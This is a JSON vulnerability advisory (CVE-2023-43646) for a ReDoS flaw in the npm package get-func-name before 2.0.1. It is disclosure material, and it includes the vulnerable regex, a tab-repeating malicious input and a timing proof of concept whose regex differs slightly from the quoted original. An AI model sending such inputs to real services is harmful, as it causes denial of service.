{"id":"GHSA-4q6p-r6v2-jvc5","summary":"Chaijs/get-func-name vulnerable to ReDoS","details":"The current regex implementation for parsing values in the module is susceptible to excessive backtracking, leading to potential DoS attacks. The regex implementation in question is as follows:\n\n```js\nconst functionNameMatch = /\\s*function(?:\\s|\\s*\\/\\*[^(?:*/)]+\\*\\/\\s*)*([^\\s(/]+)/;\n```\n\nThis vulnerability can be exploited when there is an imbalance in parentheses, which results in excessive backtracking and subsequently increases the CPU load and processing time significantly. This vulnerability can be triggered using the following input:\n\n```js\n'\\t'.repeat(54773) + '\\t/function/i'\n```\n\nHere is a simple PoC code to demonstrate the issue:\n\n```js\nconst protocolre = /\\sfunction(?:\\s|\\s/*[^(?:*\\/)]+*/\\s*)*([^\\(\\/]+)/;\n\nconst startTime = Date.now();\nconst maliciousInput = '\\t'.repeat(54773) + '\\t/function/i'\n\nprotocolre.test(maliciousInput);\n\nconst endTime = Date.now();\n\nconsole.log(\"process time: \", endTime - startTime, \"ms\");\n```","aliases":["CVE-2023-43646"],"modified":"2026-07-17T21:15:58.991706263Z","published":"2023-09-27T20:16:00Z","database_specific":{"github_reviewed_at":"2023-09-27T20:16:00Z","nvd_published_at":"2023-09-27T15:19:34Z","cwe_ids":["CWE-1333","CWE-400"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/chaijs/get-func-name/security/advisories/GHSA-4q6p-r6v2-jvc5"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-43646"},{"type":"WEB","url":"https://github.com/chaijs/get-func-name/commit/f934b228b5e2cb94d6c8576d3aac05493f667c69"},{"type":"PACKAGE","url":"https://github.com/chaijs/get-func-name"},{"type":"WEB","url":"https://github.com/chaijs/get-func-name/blob/78ad756441a83f3dc203e50f76c113ae3ac017dc/index.js#L15"}],"affected":[{"package":{"name":"get-func-name","ecosystem":"npm","purl":"pkg:npm/get-func-name"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.0.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/09/GHSA-4q6p-r6v2-jvc5/GHSA-4q6p-r6v2-jvc5.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}